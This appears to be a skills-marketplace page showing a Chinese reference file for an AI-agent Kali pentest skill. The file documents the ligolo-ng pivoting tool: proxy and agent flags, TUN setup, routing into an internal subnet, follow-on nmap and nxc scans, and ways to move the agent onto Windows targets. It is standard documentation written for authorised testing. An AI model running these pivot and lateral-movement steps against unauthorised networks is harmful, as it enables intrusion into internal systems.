x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/exploitation/tools/ligolo-ng.md
View on GitHub# Ligolo-ng
- **Category**: Exploitation / Tunneling & Pivoting
- **Risk Level**: 🟡 Medium
---
## 描述
一款快速、现代化的网络跳板转发工具,在攻击者机器上创建 TUN 接口,通过受控的跳板主机实现对内网的透明 Layer-3 路由。与 proxychains/chisel(需要 SOCKS 代理化)不同,ligolo-ng 原生路由流量——任何工具无需修改即可使用。两个组件:**ligolo-proxy** 运行在 Kali,**ligolo-agent** 运行在被控跳板主机上。目前社区最推荐的内网访问跳板转发方案。
## 安装
```bash
sudo apt install ligolo-ng
```
## 参数说明
### ligolo-proxy(在 Kali 上运行)
| 参数 | 说明 |
|------|------|
| `-selfcert` | 动态生成自签名 TLS 证书 |
| `-selfcert-domain <domain>` | selfcert 的 TLS 域名(默认:"ligolo") |
| `-autocert` | 自动申请 Let's Encrypt 证书(需要端口 80) |
| `-allow-domains <domains>` | autocert 授权域名(逗号分隔) |
| `-certfile <file>` | TLS 证书文件(默认:certs/cert.pem) |
| `-keyfile <file>` | TLS 私钥文件(默认:certs/key.pem) |
| `-laddr <addr>` | 监听 agent 连接的地址(默认:0.0.0.0:11601,前缀 http(s):// 使用 websocket) |
| `-api-laddr <addr>` | API 服务器监听地址(默认:127.0.0.1:8080) |
| `-daemon` | 以守护进程模式运行(无 CLI,使用 API) |
| `-config <file>` | 使用的配置文件 |
| `-nobanner` | 启动时不显示 banner |
| `-v` | 启用详细模式 |
### ligolo-agent(在跳板主机上运行)
| 参数 | 说明 |
|------|------|
| `-connect <addr>` | 要连接的 proxy 地址(如 192.168.1.10:11601) |
| `-ignore-cert` | 忽略 TLS 证书错误 |
| `-accept-fingerprint <fingerprint>` | 信任指定 proxy 证书 fingerprint |
## 常用命令
```bash
# 第一步:在 Kali 上创建 TUN 接口(一次性设置)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# 第二步:在 Kali 上启动 proxy
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# 第三步:将 agent 传输到跳板主机并运行
# 在跳板主机上(Linux):
./ligolo-agent -connect 192.168.1.10:11601 -ignore-cert
# 在跳板主机上(Windows):
.\ligolo-agent.exe -connect 192.168.1.10:11601 -ignore-cert
# 第四步:在 ligolo-proxy 交互界面中启动隧道
# (出现交互界面)→ 输入:session 1
# → 输入:start
# 第五步:在 Kali 上添加到内网的路由
sudo ip route add 10.0.0.0/24 dev ligolo
# 现在所有 Kali 工具都可原生路由到 10.0.0.0/24(通过跳板)
nmap -sV 10.0.0.5
nxc smb 10.0.0.0/24 -u user -p pass
```
## 注意事项
1. 与 proxychains 不同,ligolo-ng 创建真实的 TUN 接口——UDP、ICMP 及所有工具均无需代理化即可使用。
2. TUN 接口设置(第一步)是一次性操作,重启前持续有效。
3. 多个 agent 可同时连接——ligolo-proxy 支持通过链式 agent 进行多跳跳板转发。
4. 从 GitHub 发布页面下载适用于 Linux/Windows 的预编译 agent 二进制文件,再传输到目标主机。
5. 对于 Windows 目标,可通过 evil-winrm、smbclient 或 Metasploit stager 传输 agent 二进制文件。
---
## 官方参考
- [ligolo-ng (GitHub)](https://github.com/nicocha30/ligolo-ng)
- [Kali ligolo-ng](https://www.kali.org/tools/ligolo-ng/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |